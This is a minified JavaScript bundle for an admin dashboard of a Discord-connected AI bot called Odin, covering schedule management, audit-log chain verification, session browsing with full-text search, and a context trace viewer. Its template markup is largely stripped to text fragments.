st(k),cs(k),es(A),wt(A),{processes:e,loading:t,error:s,autoRefresh:a,killingPid:i,runningCount:l,completedCount:o,procStatusDot:r,statusBadge:c,formatDuration:Xi,fetchProcesses:d,doKill:m}}},I1=/^(\d{4})-(\d{2})-(\d{2})T(\d{2}):(\d{2})(?::(\d{2}))?$/;function jf(e,t){return t==="cron"&&String(e.cron||"").trim()?e.run_at="":t==="run_at"&&String(e.run_at||"").trim()&&(e.cron=""),e}function O1(e,t=!1){const s=n=>String(n).padStart(2,"0"),a=`${e.getFullYear()}-${s(e.getMonth()+1)}-${s(e.getDate())}T${s(e.getHours())}:${s(e.getMinutes())}`;return t?`${a}:${s(e.getSeconds())}`:a}function L1(e){const t=-e.getTimezoneOffset(),s=t>=0?"+":"-",a=Math.abs(t),n=Math.floor(a/60),i=a%60;return`UTC${s}${n}${i?`:${String(i).padStart(2,"0")}`:""}`}function qf(e){const t=String(e||"").trim();if(!t)return{state:"empty"};const s=I1.exec(t);if(!s)return{state:"invalid",typed:t};const[,a,n,i,l,o]=s.slice(0,6).map(Number),r=s[6]===void 0?0:Number(s[6]);if(r>59)return{state:"invalid",typed:t};const c=s[6]!==void 0,d=c?t.slice(0,19):t.slice(0,16),u=Date.UTC(a,n-1,i,l,o,r),p=new Date(u-864e5).getTimezoneOffset(),m=new Date(u+864e5).getTimezoneOffset(),h=[];for(const k of new Set([p,m])){const A=new Date(u+k*6e4);O1(A,c)===d&&(h.some(g=>g.getTime()===A.getTime())||h.push(A))}if(h.sort((k,A)=>k.getTime()-A.getTime()),h.length===0)return{state:"nonexistent",typed:t};if(h.length>1)return{state:"ambiguous",typed:t,options:h.map(k=>({instant:k,offset:L1(k),iso:k.toISOString()}))};const y=h[0];return{state:"ok",typed:t,instant:y,iso:y.toISOString()}}const N1=5e3;function lr(e){const t=(e==null?void 0:e.available)===!0,s=typeof(e==null?void 0:e.reason)=="string"?e.reason:"provider_error";return{available:t,reason:s,epoch:Number.isInteger(e==null?void 0:e.epoch)?e.epoch:null}}function zo(e){if(e.available)return"";switch(e.reason){case"unavailable":return"Scheduling is not configured.";case"connecting":return"Scheduling is connecting.";case"disconnected":return"Scheduling is disconnected.";case"provider_error":return"Scheduling status provider failed.";default:return"Scheduling is unavailable."}}function Vf(e){var t;return(e==null?void 0:e.status)!==503||!((t=e==null?void 0:e.data)!=null&&t.connection)?null:lr(e.data.connection)}function M1(e){return e!=="webhook"}function Gf(e,t){return!M1(t)||(e==null?void 0:e.available)===!0}function D1(e,t=null){if((e==null?void 0:e.state)==="ok")return e.instant.toISOString();if((e==null?void 0:e.state)==="ambiguous"){if(t==null||t==="")throw new Error("Choose which occurrence of this repeated local time to use.");const s=e.options[Number(t)];if(!(s!=null&&s.instant))throw new Error("Choose a valid occurrence of this local time.");return s.instant.toISOString()}throw(e==null?void 0:e.state)==="nonexistent"?new Error("That local time does not exist because clocks skip it. Choose another time."):new Error("Enter a valid new one-time run time.")}const P1={template:` -
-
-
-

Schedules

-

Create, inspect, and run recurring or one-time automation.

-
-
- - -
-
- -
- {{ schedulingAvailabilityMessage }} Discord-delivered actions cannot be created, run, or resumed. Outbound HTTP webhooks remain available. -
- - -
-

Create Schedule

- -
- -
- -
-
- -
-
- -
-
- -

Choose one timing mode. Entering a Cron expression clears One-Time, and entering a One-Time value clears Cron.

-
-
- Cron Expression -
- - -
- -
-
- Valid. Next runs: -
- {{ formatTs(run) }} ({{ formatFuture(run) }}) -
-
-
{{ cronResult.error }}
-
- -
- -
-
-
- - -
- - -
- -

- Fires at {{ runAtUtcPreview }} -

-
-
- -
- -
- -
-
- -
-
- -
-
- -

- Requires the command to emit the generic paginated JSON contract. -

-
-
- -
-
-
- -
-
- -
-
-
-
- -
-
- -
-
-
- -
-
- -
{{ createError }}
- - -
- - -
-
-
- -
- - No scheduled tasks - Click "New Schedule" to set up automated checks or reminders -
-
- -
-
-
{{ schedules.length }}
-
Total
-
-
-
{{ cronCount }}
-
Recurring
-
-
-
{{ oneTimeCount }}
-
One-Time
-
-
-
{{ webhookCount }}
-
Webhook
-
-
-
{{ pausedCount }}
-
Paused
-
-
-
{{ failingCount }}
-
Failing
-
-
- -
- - - - - - - - - - - - - - - -
DescriptionTypeScheduleLast RunStatusActions
-
-
- -
`,setup(){const e=f([]),t=f(!0),s=f(null),a=f(lr(null)),n=B(()=>a.value.available),i=B(()=>zo(a.value));let l=null;const o=f(!1),r=f({description:"",action:"reminder",channel_id:"",cron:"",run_at:"",message:"",tool_name:"",tool_input_str:"",report_format:"",webhook_url:"",webhook_method:"POST",webhook_headers_str:"",webhook_body:"",webhook_expected_status_str:""}),c=f(!1),d=f(null),u=B(()=>Gf(a.value,r.value.action));function p(U){return Gf(a.value,U)}const m=f(null),h=B(()=>qf(r.value.run_at));Gt(()=>r.value.run_at,()=>{m.value=null});const y=B(()=>{var de;const U=h.value;return U.state==="ok"?U.instant:U.state==="ambiguous"&&m.value!==null&&((de=U.options[m.value])==null?void 0:de.instant)||null}),k=B(()=>{const U=y.value;return U?`${U.toLocaleString()} local — ${U.toISOString()} UTC`:""}),A=f(null),g=f(!1),b=[{label:"Every hour",expr:"0 * * * *"},{label:"Every 6h",expr:"0 */6 * * *"},{label:"Daily 9am",expr:"0 9 * * *"},{label:"Weekly Mon",expr:"0 9 * * 1"},{label:"Every 30m",expr:"*/30 * * * *"}],x=f(null),w=f(null),_=f(null),T=f(null),L=f(null),E=f(null),F=f({}),O=f({}),I=f(null),H=f([]),te=f(!1),ee=f("");let N=0;const M=B(()=>e.value.filter(U=>U.cron&&!U.one_time).length),$=B(()=>e.value.filter(U=>U.one_time).length),re=B(()=>e.value.filter(U=>U.trigger).length),ce=B(()=>e.value.filter(U=>U.paused).length),Z=B(()=>e.value.filter(U=>U.consecutive_failures>0).length);function Q(U){if(!U)return"-";const de=Date.now(),Ae=(new Date(U).getTime()-de)/1e3;if(Ae<0)return"overdue";if(Ae<60)return"in < 1 min";if(Ae<3600)return`in ${Math.floor(Ae/60)} min`;if(Ae<86400){const We=Math.floor(Ae/3600),je=Math.floor(Ae%3600/60);return je>0?`in ${We}h ${je}m`:`in ${We}h`}const $e=Math.floor(Ae/86400);return`in ${$e} day${$e!==1?"s":""}`}function ae(U){return U==null?"-":U<1e3?`${U}ms`:U<6e4?`${(U/1e3).toFixed(1)}s`:Xi(U/1e3)}function V(U=r.value.cron){r.value.cron=U,jf(r.value,"cron"),A.value=null}function be(U=r.value.run_at){r.value.run_at=U,jf(r.value,"run_at"),A.value=null}function Oe(U){return qf(F.value[U.id]||"")}function le(U,de){F.value[U]=de,delete O.value[U]}function oe(U,de){O.value[U]=de===""?null:Number(de)}async function ve(U){let de;try{de=D1(Oe(U),O.value[U.id])}catch(ge){Se.error(ge.message);return}E.value=U.id;try{const ge=await z.put(`/api/schedules/${encodeURIComponent(U.id)}`,{run_at:de});ge!=null&&ge.inert_reason||ge!=null&&ge.paused?Se.error(`Schedule remains paused and inert: ${ge.inert_reason||"the server kept it paused"}`):(Se.success("Schedule re-armed for the new run time"),delete F.value[U.id],delete O.value[U.id]),await Y()}catch(ge){S(ge),Se.error(ge.message||"Failed to re-arm schedule")}finally{E.value=null}}async function j(){const U=r.value.cron.trim();if(U){g.value=!0;try{A.value=await z.post("/api/schedules/validate-cron",{expression:U})}catch(de){A.value={valid:!1,error:de.message}}g.value=!1}}async function Y(){t.value=!0,s.value=null;try{e.value=await z.get("/api/schedules")}catch(U){s.value=U.message}t.value=!1}async function xe(){try{a.value=lr(await z.get("/api/schedules/status"))}catch(U){a.value=Vf(U)||lr(null)}}function S(U){const de=Vf(U);de&&(a.value=de)}async function P(U){if(I.value===U){I.value=null,H.value=[];return}I.value=U,te.value=!0,H.value=[];const de=++N;try{const ge=await z.get(`/api/schedules/${encodeURIComponent(U)}/history?limit=10`);if(de!==N||I.value!==U)return;H.value=ge,ee.value=""}catch(ge){if(de!==N||I.value!==U)return;H.value=[],ee.value=ge.message||"Failed to load execution history"}de===N&&(te.value=!1)}async function G(){if(d.value=null,!p(r.value.action)){d.value=zo(a.value);return}const U=r.value;if(!U.description.trim()){d.value="Description is required";return}if(U.action!=="webhook"&&!U.channel_id.trim()){d.value="Channel ID is required";return}if(!U.cron.trim()&&!U.run_at.trim()){d.value="Cron expression or run_at time is required";return}if(U.cron.trim()&&U.run_at.trim()){d.value="Choose either Cron or One-Time, not both";return}const de={description:U.description.trim(),action:U.action,channel_id:U.channel_id.trim()};if(U.cron.trim()&&(de.cron=U.cron.trim()),U.run_at.trim()){const ge=h.value;if(ge.state==="nonexistent"){d.value="That local time does not exist (daylight saving gap)";return}if(ge.state==="invalid"){d.value="One-time run time is not a valid date";return}const Ae=y.value;if(ge.state==="ambiguous"&&m.value===null){d.value="That local time happens twice — choose which occurrence to use";return}if(!Ae){d.value="One-time run time could not be resolved";return}de.run_at=Ae.toISOString()}if(U.action==="reminder"&&U.message.trim()&&(de.message=U.message.trim()),U.action==="check"&&(U.tool_name.trim()&&(de.tool_name=U.tool_name.trim()),U.report_format&&(de.report_format=U.report_format),U.tool_input_str.trim()))try{de.tool_input=JSON.parse(U.tool_input_str.trim())}catch{d.value="Tool input must be valid JSON";return}if(U.action==="webhook"){if(!U.webhook_url.trim()){d.value="Webhook URL is required";return}const ge={url:U.webhook_url.trim(),method:U.webhook_method};if(U.webhook_headers_str.trim())try{const Ae=JSON.parse(U.webhook_headers_str.trim());if(!Ae||Array.isArray(Ae)||typeof Ae!="object")throw new Error("not an object");ge.headers=Ae}catch{d.value="Webhook headers must be a valid JSON object";return}if(U.webhook_body&&(ge.body=U.webhook_body),U.webhook_expected_status_str.trim()){const Ae=U.webhook_expected_status_str.split(",").map($e=>Number($e.trim()));if(Ae.some($e=>!Number.isInteger($e)||$e<100||$e>599)){d.value="Expected status codes must be comma-separated HTTP codes";return}ge.expected_status_codes=Ae}de.webhook_config=ge}c.value=!0;try{await z.post("/api/schedules",de),Se.success("Schedule created"),r.value={description:"",action:"reminder",channel_id:"",cron:"",run_at:"",message:"",tool_name:"",tool_input_str:"",report_format:"",webhook_url:"",webhook_method:"POST",webhook_headers_str:"",webhook_body:"",webhook_expected_status_str:""},A.value=null,o.value=!1,await Y()}catch(ge){S(ge),d.value=ge.message}c.value=!1}async function he(U){if(!p(U.action)){Se.error(zo(a.value));return}const de=U.id;x.value=de;try{const ge=await z.post(`/api/schedules/${encodeURIComponent(de)}/run`);if(ge.status==="failure")Se.error(`Execution failed: ${ge.error||"unknown error"}`);else{const Ae=ge.warning?`Executed (${ge.warning})`:"Executed successfully";Se.success(Ae)}await Y()}catch(ge){S(ge),Se.error(ge.message||"Failed to trigger")}x.value=null}async function fe(U){if(U.paused&&!p(U.action)){Se.error(zo(a.value));return}_.value=U.id;const de=!U.paused;try{const ge=await z.put(`/api/schedules/${encodeURIComponent(U.id)}`,{paused:de});!de&&(ge!=null&&ge.inert_reason)?Se.error(`Schedule remains paused and inert: ${ge.inert_reason}`):Se.success(de?"Schedule paused":"Schedule resumed"),await Y()}catch(ge){S(ge),Se.error(ge.message||"Failed to update schedule")}_.value=null}const me=new Map;function we(U,de){const ge=me.get(U.id);ge&&clearTimeout(ge.timer);const Ae={run:()=>J(U,de),timer:null};Ae.timer=setTimeout(()=>{me.delete(U.id),Ae.run()},500),me.set(U.id,Ae)}async function J(U,de){L.value=U.id;try{await z.put(`/api/schedules/${encodeURIComponent(U.id)}`,{report_format:de}),Se.success(de?"Structured report enabled":"Plain-text report enabled")}catch(ge){Se.error(`Update failed: ${ge.message}`)}finally{await Y(),L.value=null}}function ie(){for(const[U,de]of[...me])clearTimeout(de.timer),me.delete(U),de.run()}async function X(U){T.value=U;try{await z.post(`/api/schedules/${encodeURIComponent(U)}/reset-failures`),Se.success("Failure counters reset"),await Y()}catch(de){Se.error(de.message||"Failed to reset")}T.value=null}async function _e(U){const de=e.value.find(Ae=>Ae.id===U);if(await is({title:"Delete schedule",message:`Delete "${(de==null?void 0:de.description)||U}"? This cannot be undone.`,confirmLabel:"Delete",danger:!0})){w.value=U;try{await z.del(`/api/schedules/${encodeURIComponent(U)}`),Se.success("Schedule deleted"),await Y()}catch(Ae){Se.error(Ae.message||"Failed to delete schedule")}w.value=null}}return st(()=>{Y(),xe(),l=setInterval(xe,N1)}),wt(()=>{ie(),l&&clearInterval(l)}),{schedules:e,loading:t,error:s,schedulingAvailable:n,schedulingAvailabilityMessage:i,selectedActionAvailable:u,actionAvailable:p,showCreate:o,form:r,creating:c,createError:d,runAtUtcPreview:k,runAtAnalysis:h,runAtOccurrence:m,cronResult:A,validatingCron:g,cronPresets:b,runningId:x,deletingId:w,togglingId:_,resettingId:T,reportUpdatingId:L,flushReportFormatTimers:ie,rearmingId:E,rearmRunAt:F,rearmOccurrences:O,rearmAnalysis:Oe,expandedId:I,history:H,historyLoading:te,historyError:ee,cronCount:M,oneTimeCount:$,webhookCount:re,pausedCount:ce,failingCount:Z,formatTs:di,formatAge:Ng,formatFuture:Q,formatMs:ae,formatDuration:Xi,onCronInput:V,onRunAtInput:be,validateCron:j,toggleExpand:P,fetchSchedules:Y,fetchSchedulingAvailability:xe,doCreate:G,doRunNow:he,doTogglePause:fe,doUpdateReportFormat:we,doResetFailures:X,doDelete:_e,setRearmRunAt:le,setRearmOccurrence:oe,doRearmSchedule:ve}}},Fg=[{id:"live",label:"Live",component:_1},{id:"agents",label:"Agents",component:E1},{id:"loops",label:"Loops",component:A1},{id:"processes",label:"Processes",component:R1},{id:"schedules",label:"Schedules",component:P1}],$1={components:{TabbedPage:uc},setup(){return{tabs:Fg}},template:''},$d=/^\d{15,25}$/,Ho=new Map,jo=new Map;let qo=null,Vo=null;async function F1(){return qo||(Vo||(Vo=z.get("/api/discord/members").then(e=>(qo=Array.isArray(e)?e:[],qo)).catch(()=>[]).finally(()=>{Vo=null})),Vo)}async function B1(e){if(!$d.test(String(e)))return null;const t=(await F1()).find(s=>String(s.id)===String(e));return t?(Ho.set(String(e),t),t):Ho.has(String(e))?Ho.get(String(e)):(jo.has(String(e))||jo.set(String(e),z.get(`/api/discord/users/${encodeURIComponent(e)}`).then(s=>(s==null?void 0:s.user)||null).catch(()=>null).then(s=>(s&&Ho.set(String(e),s),jo.delete(String(e)),s))),jo.get(String(e)))}const Dn={props:{userId:{type:[String,Number],required:!0},members:{type:Array,default:()=>[]},showId:{type:Boolean,default:!0},fallbackLabel:{type:String,default:""}},template:` - - - {{ displayFallback }} - {{ userId }} - - `,setup(e){const t=f(null),s=B(()=>(e.members||[]).find(l=>String(l.id)===String(e.userId))||null),a=B(()=>s.value||t.value),n=B(()=>$d.test(String(e.userId))?e.userId:e.fallbackLabel||e.userId);async function i(){t.value=null,$d.test(String(e.userId))&&!s.value&&(t.value=await B1(e.userId))}return Gt(()=>[e.userId,e.members],i,{deep:!0}),st(i),{identity:a,displayFallback:n}}},U1={components:{DiscordIdentity:Dn},template:` -
-
-

Audit Log

-
- - -
-
- - -
-

Verification failed: {{ verifyError }}

-
-
-

Tamper-evidence is not enabled — no signing key is configured, so the chain cannot be verified.

-
-
-

- Chain valid — {{ verifyResult.verified }} signed entr{{ verifyResult.verified === 1 ? 'y' : 'ies' }} verified across {{ (verifyResult.segments || []).length }} retained file{{ (verifyResult.segments || []).length === 1 ? '' : 's' }}. -

-

- Chain INVALID — problem in {{ verifyResult.first_bad_file }}{{ verifyResult.first_bad ? ' at line ' + verifyResult.first_bad : '' }}. -

-

- {{ verifyResult.unsigned_prefix.toLocaleString() }} older entries predate signing and are permanently unsigned — expected, not tampering. -

-
    -
  • - {{ seg.file }}{{ seg.position === 0 ? ' (current)' : '' }}: {{ segmentText(seg) }} -
  • -
-

- Each file is verified on its own from its first entry. Files already removed by rotation, or deleted by hand from the oldest end, cannot be detected. -

-
- - -
-
-
- -
-
- -
-
- -
-
- -
-
-
- - -
-
- -
-
-
- - -
-
-
- -
- - No audit entries found - Try adjusting your filters or wait for tool executions to appear -
-
-
Showing {{ entries.length }} entries
-
- - - - - - - - - - - - - - -
TimestampToolUserHostDurationStatus
-
- -
-
`,setup(){const e=f([]),t=f(!0),s=f(null),a=f(null),n=f({tool:"",user:"",keyword:"",date:"",limit:50});function i(k){if(!k)return"";if(typeof k=="string")return k;try{return JSON.stringify(k,null,2)}catch{return String(k)}}function l(k){a.value=a.value===k?null:k}function o(){n.value={tool:"",user:"",keyword:"",date:"",limit:50},y()}let r=0;const c=f(!1),d=f(null),u=f(null);async function p(){c.value=!0,u.value=null;try{d.value=await z.get("/api/audit/verify")}catch(k){k.status===409&&k.data&&typeof k.data=="object"?d.value=k.data.availability==="not_enabled"?{...k.data,not_enabled:!0}:k.data:(d.value=null,u.value=k.message||"verification request failed")}c.value=!1}function m(k){return k.status==="verified"||k.status==="unsigned"}function h(k){const A=b=>Number(b||0).toLocaleString();if(k.status==="verified"){if(!k.total)return"no entries yet";const b=k.unsigned_prefix>0?`; ${A(k.unsigned_prefix)} older entries predate signing`:"";return`verified — ${A(k.verified)} signed entries${b}`}if(k.status==="unsigned")return"no signatures — written before signing was enabled, so it cannot be verified";if(k.status==="unreadable")return`could not be read (${k.error||"error"})`;if(k.status==="missing")return"missing — newer and older files exist, but this one does not";const g=`${A(k.verified)} entries verified before it; later lines not checked`;return k.reason==="hmac_mismatch"?`break at line ${k.first_bad} — entry altered, reordered, or signed with a different key; ${g}`:k.reason==="signing_gap"?"no signatures although older files are signed — signing was switched off for this period, or signatures were removed":k.reason==="unsigned_after_signed"?`break at line ${k.first_bad} — unsigned entry after signed ones (signing was switched off, or a line was inserted); ${g}`:`break at line ${k.first_bad} — not a valid audit entry; ${g}`}async function y(){const k=++r;t.value=!0,s.value=null,a.value=null;try{const A=new URLSearchParams;n.value.tool&&A.set("tool",n.value.tool),n.value.user&&A.set("user",n.value.user),n.value.keyword&&A.set("q",n.value.keyword),n.value.date&&A.set("date",n.value.date),A.set("limit",String(n.value.limit));const g=A.toString(),b=await z.get(`/api/audit${g?"?"+g:""}`);if(k!==r)return;e.value=Array.isArray(b)?b:[]}catch(A){if(k!==r)return;s.value=A.message}k===r&&(t.value=!1)}return st(()=>{y()}),{entries:e,loading:t,error:s,expandedIdx:a,filters:n,formatTs:di,formatDetail:i,truncateBlock:Mg,toggleExpand:l,clearFilters:o,fetchAudit:y,verifying:c,verifyResult:d,verifyError:u,verifyIntegrity:p,segmentOk:m,segmentText:h}}},Wf=[{id:"all",name:"All Sessions",icon:"list",filters:{}},{id:"active",name:"Recently Active",icon:"activity",filters:{minAge:0,maxAge:3600}},{id:"discord",name:"Discord Only",icon:"message",filters:{source:"discord"}},{id:"web",name:"Web Only",icon:"globe",filters:{source:"web"}},{id:"long",name:"Long Conversations",icon:"book",filters:{minMessages:10}},{id:"compacted",name:"Compacted",icon:"archive",filters:{hasCompaction:!0}}],z1=[{value:"last_active",label:"Last Active"},{value:"created_at",label:"Created"},{value:"message_count",label:"Message Count"}],H1={components:{DiscordIdentity:Dn},template:` -
- -
-
-

Sessions

-

- {{ sessions.length }} session{{ sessions.length !== 1 ? 's' : '' }} - - · {{ filteredSessions.length }} shown - -

-
-
- - -
-
- - -
-
- -
-
- - - - - -
- -
- - -
- -
-
- - -
-
-
- - -
-
- Search History - Full-text search across all sessions and archives -
-
-
- -
- - - - -
- -
-
Searching... -
- -
-
Previous results — not current for these filters.
-
No results found
-
-
{{ ftsResults.length }} result{{ ftsResults.length !== 1 ? 's' : '' }}
-
-
-
- {{ r.type }} - {{ r.channel_id }} - - {{ r.author }} - - {{ formatTimestamp(r.timestamp) }} - - - score: {{ Math.abs(r.rank).toFixed(1) }} - -
-
-
-
-
-
-
- - -
-
-
- -
- - No active sessions - Sessions appear when users interact with Odin via Discord or the chat interface -
-
- - No sessions match the current filter - -
-
- -
- -
- -
-
- -
- -
- -
-
-
- {{ s.channel_id }} - {{ s.message_count }} msg - compacted -
-
- Active {{ formatAge(s.last_active) }} · Created {{ formatAge(s.created_at) }} - · -
-
-
- - - - -
-
- - -
-
- - {{ p.role === 'user' ? 'USER' : 'ODIN' }}: - - {{ p.content || '(empty)' }} -
-
- - -
-
-
Loading... -
-
- -
-
Compacted Summary
-
{{ detail.summary }}
-
- - -
- - - - {{ detail.messages.length }} message{{ detail.messages.length !== 1 ? 's' : '' }} - - · {{ threads.length }} thread{{ threads.length !== 1 ? 's' : '' }} - - -
- - -
-
-
- #{{ ti + 1 }} - {{ threadSummary(thread) }} - {{ thread.length }} msg - {{ formatTimestamp(thread[0].timestamp) }} - -
-
-
-
- {{ m.role }} - - - {{ formatTimestamp(m.timestamp) }} - -
-
{{ truncateContent(m.content) }}
-
-
-
- -
No messages in this session
-
- - -
-
-
- - {{ m.role }} - - - {{ formatTimestamp(m.timestamp) }} - -
-
{{ truncateContent(m.content) }}
-
- -
No messages in this session
-
-
-
-
-
-
- - - - - - -
`,setup(){const e=f([]),t=f(!0),s=f(null),a=f(null),n=f(null),i=f(!1);let l=0;const o=f(null),r=f(!1),c=f(new Set),d=f(!1),u=f("all"),p=f(""),m=f("last_active"),h=f(!1),y=Wf,k=z1,A=f([]),g=f(!1),b=f(""),x=f("flat"),w=f(new Set),_=f(""),T=f(""),L=f(""),E=f(null),F=f(!1),O=f(""),I=f(!1);let H=0;Gt([_,T,L],()=>{H++,F.value=!1,O.value="",I.value=E.value!==null},{flush:"sync"});function te(){try{const W=localStorage.getItem("odin-session-presets");W&&(A.value=JSON.parse(W))}catch{}}function ee(){try{localStorage.setItem("odin-session-presets",JSON.stringify(A.value))}catch{}}const N=B(()=>p.value.trim()!==""||u.value!=="all"),M=B(()=>{let W=[...e.value];const De=Wf.find(et=>et.id===u.value),ze=De?De.filters:{};if(ze.source&&(W=W.filter(et=>et.source===ze.source)),ze.minMessages&&(W=W.filter(et=>et.message_count>=ze.minMessages)),ze.hasCompaction&&(W=W.filter(et=>et.has_summary)),ze.maxAge!=null){const et=Date.now()/1e3;W=W.filter(Rt=>Rt.last_active&&et-Rt.last_active<=ze.maxAge)}if(p.value.trim()){const et=p.value.toLowerCase().trim();W=W.filter(Rt=>(Rt.channel_id||"").toLowerCase().includes(et)||(Rt.last_user_id||"").toLowerCase().includes(et)||(Rt.source||"").toLowerCase().includes(et))}const Ye=m.value,Dt=h.value?1:-1;return W.sort((et,Rt)=>{const Pt=et[Ye]||0,Ts=Rt[Ye]||0;return(Pt-Ts)*Dt}),W}),$=B(()=>{if(!n.value||!n.value.messages)return[];const W=n.value.messages;if(W.length===0)return[];const De=[];let ze=[];for(const Ye of W)Ye.role==="user"&&ze.length>0&&(De.push(ze),ze=[]),ze.push(Ye);return ze.length>0&&De.push(ze),De}),re=B(()=>M.value.length>0&&c.value.size===M.value.length);function ce(W){const De=W.find(ze=>ze.role==="user");if(De&&De.content){const ze=De.content.slice(0,120);return ze.lengthDe.id!==W),ee(),u.value===W&&(u.value="all")}function Oe(){u.value="all",p.value="",m.value="last_active",h.value=!1}function le(W){if(!W)return"—";const De=Date.now()/1e3-W;if(De<60)return"just now";if(De<3600){const Ye=Math.floor(De/60);return`${Ye} minute${Ye!==1?"s":""} ago`}if(De<86400){const Ye=Math.floor(De/3600);return`${Ye} hour${Ye!==1?"s":""} ago`}const ze=Math.floor(De/86400);return`${ze} day${ze!==1?"s":""} ago`}function oe(W){if(!W)return"";try{return new Date(W*1e3).toLocaleString([],{month:"short",day:"numeric",hour:"2-digit",minute:"2-digit"})}catch{return""}}function ve(W){if(!W)return"";try{return new Date(W*1e3).toLocaleString()}catch{return""}}function j(W){return W==="user"?"bg-gray-900/50 border border-gray-800":W==="assistant"?"bg-indigo-950/30 border border-indigo-900/30":"bg-gray-900/30 border border-gray-800/50"}function Y(W){return W==="user"?"sess-msg-user":W==="assistant"?"sess-msg-assistant":"sess-msg-system"}function xe(W){return W==="user"?"badge-info":W==="assistant"?"badge-success":"badge-warning"}function S(W){return W==="user"?"sess-dot-user":W==="assistant"?"sess-dot-assistant":"sess-dot-system"}function P(W){return W==="user"?"text-cyan-400":W==="assistant"?"text-indigo-400":"text-gray-500"}function G(W){return W?W.length>2e3?W.slice(0,2e3)+` -... (truncated)`:W:""}async function he(){const W=_.value.trim();if(!W)return;const De=++H;F.value=!0,O.value="",I.value=E.value!==null;try{let ze=`/api/sessions/search?q=${encodeURIComponent(W)}&limit=50`;T.value.trim()&&(ze+=`&channel_id=${encodeURIComponent(T.value.trim())}`),L.value.trim()&&(ze+=`&user_id=${encodeURIComponent(L.value.trim())}`);const Ye=await z.get(ze);if(De!==H)return;E.value=Ye.results||[],I.value=!1}catch(ze){if(De!==H)return;O.value=ze.message||"Search failed. Please retry."}finally{De===H&&(F.value=!1)}}function fe(){H++,_.value="",T.value="",L.value="",E.value=null,O.value="",I.value=!1,F.value=!1}function me(W){return W?W.replace(/&/g,"&").replace(//g,">").replace(/>>>/g,'').replace(/<<</g,""):""}function we(W){return W==="user"?"fts-result-user":W==="assistant"?"fts-result-assistant":W==="summary"?"fts-result-summary":W==="fts"?"fts-result-fts":W==="channel"?"fts-result-channel":"fts-result-default"}function J(W){return W==="user"?"badge-info":W==="assistant"?"badge-success":W==="summary"?"badge-warning":W==="fts"?"badge-success":"badge-info"}let ie=0;async function X(){const W=++ie;t.value=!0,s.value=null;try{const De=await z.get("/api/sessions");if(W!==ie)return;e.value=De}catch(De){if(W!==ie)return;s.value=De.message}W===ie&&(t.value=!1)}function _e(){s.value=null,X()}async function U(W){if(a.value===W){a.value=null,n.value=null,w.value=new Set;return}a.value=W,n.value=null,i.value=!0,w.value=new Set;const De=++l;try{const ze=await z.get(`/api/sessions/${encodeURIComponent(W)}`);De===l&&a.value===W&&(n.value=ze)}catch(ze){De===l&&a.value===W&&(n.value={messages:[],summary:"",error:ze.message||"Failed to load session"})}finally{De===l&&(i.value=!1)}}function de(W){const De=new Set(c.value);De.has(W)?De.delete(W):De.add(W),c.value=De}function ge(){re.value?c.value=new Set:c.value=new Set(M.value.map(W=>W.channel_id))}function Ae(W){o.value=W}async function $e(){if(o.value){r.value=!0;try{await z.del(`/api/sessions/${encodeURIComponent(o.value)}`),a.value===o.value&&(a.value=null,n.value=null),c.value.delete(o.value),await X()}catch(W){s.value=W.message||"Failed to clear session"}r.value=!1,o.value=null}}function We(){d.value=!0}async function je(){if(c.value.size!==0){r.value=!0;try{await z.post("/api/sessions/clear-bulk",{channel_ids:[...c.value]}),c.value.has(a.value)&&(a.value=null,n.value=null),c.value=new Set,await X()}catch(W){s.value=W.message||"Failed to clear sessions"}r.value=!1,d.value=!1}}async function Xe(W,De){const ze=`/api/sessions/${encodeURIComponent(W)}/export?format=${De}`;try{const Ye=await z.getBlob(ze),Dt=URL.createObjectURL(Ye),et=document.createElement("a");et.href=Dt,et.download=`session-${W}.${De==="text"?"txt":"json"}`,et.click(),URL.revokeObjectURL(Dt)}catch(Ye){s.value=Ye.message||"Failed to export session"}}let it=null;function Qe(W){W.payload&&W.payload.channel_id&&(clearTimeout(it),it=setTimeout(()=>{if(X(),a.value&&W.payload.channel_id===a.value){const De=a.value,ze=l;z.get(`/api/sessions/${encodeURIComponent(De)}`).then(Ye=>{ze!==l||a.value!==De||(n.value=Ye)}).catch(()=>{})}},2e3))}let se=!1,Re=null;function Le(){se||(se=!0,X(),mt.subscribe("events",Qe),Re=mt.onReconnected(()=>X()))}st(()=>{te(),Le()}),cs(()=>{Le()});function Te(){se&&(se=!1,mt.unsubscribe("events",Qe),Re&&(Re(),Re=null),clearTimeout(it))}return es(Te),wt(Te),{sessions:e,loading:t,error:s,expandedId:a,detail:n,detailLoading:i,clearTarget:o,clearing:r,selected:c,allSelected:re,bulkClearing:d,activePreset:u,searchQuery:p,sortBy:m,sortAsc:h,filterPresets:y,sortOptions:k,filteredSessions:M,hasActiveFilters:N,customPresets:A,showSavePreset:g,newPresetName:b,threadView:x,threads:$,collapsedThreads:w,ftsQuery:_,ftsChannelId:T,ftsUserId:L,ftsResults:E,ftsSearching:F,ftsError:O,ftsStale:I,formatAge:le,formatTimestamp:oe,formatFullTimestamp:ve,messageClass:j,threadMsgClass:Y,roleBadge:xe,roleDotClass:S,roleLabelClass:P,truncateContent:G,threadSummary:ce,fetchSessions:X,retry:_e,toggleSession:U,toggleSelect:de,toggleSelectAll:ge,confirmClear:Ae,clearSession:$e,confirmBulkClear:We,doBulkClear:je,exportSession:Xe,applyPreset:Q,applyCustomPreset:ae,saveCustomPreset:V,removeCustomPreset:be,resetFilters:Oe,toggleThread:Z,runFtsSearch:he,clearFtsSearch:fe,highlightSnippet:me,ftsResultClass:we,ftsTypeBadge:J}}},j1={props:["trace"],template:` - -
-
Context Assembly
-
-
- System tokens - {{ formatTokens(trace.summary?.system_tokens) }} -
-
- History tokens - {{ formatTokens(trace.summary?.history_used_tokens) }} -
-
- Learned injected - {{ trace.summary?.learned_injected ?? '—' }} - ({{ trace.learned?.mode || '?' }}) - -
-
- Continuity - {{ trace.continuity_source || '—' }} -
-
- - - - - - - - - - - - -
SectionTokens
{{ s.section }}{{ formatTokens(s.tokens) }}
history ({{ trace.history.kept_recent }} recent + {{ trace.history.kept_relevant }} relevant of {{ trace.history.candidates }}){{ formatTokens(trace.history.used) }}
-
- {{ w.code }} -
-
- trace truncated ({{ trace.truncation_reason }}) -
-
- `,setup(){return{formatTokens:Dg}}},q1={components:{ContextAssemblyPanel:j1,DiscordIdentity:Dn},template:` -
-
-

Trace Viewer

-
- -
-
- - -
-
-
- -
-
- -
-
- -
-
- Filters -
- - -
-
-
-
-
- -
-
- -
-
- -
-
- -
-
-
- - -
-
- Trace for message {{ singleTrace.message_id }} - -
-
-
-
- User - {{ !singleTrace.user_id ? (singleTrace.user_name || '—') : '' }} -
-
- Channel - {{ singleTrace.channel_id || '—' }} -
-
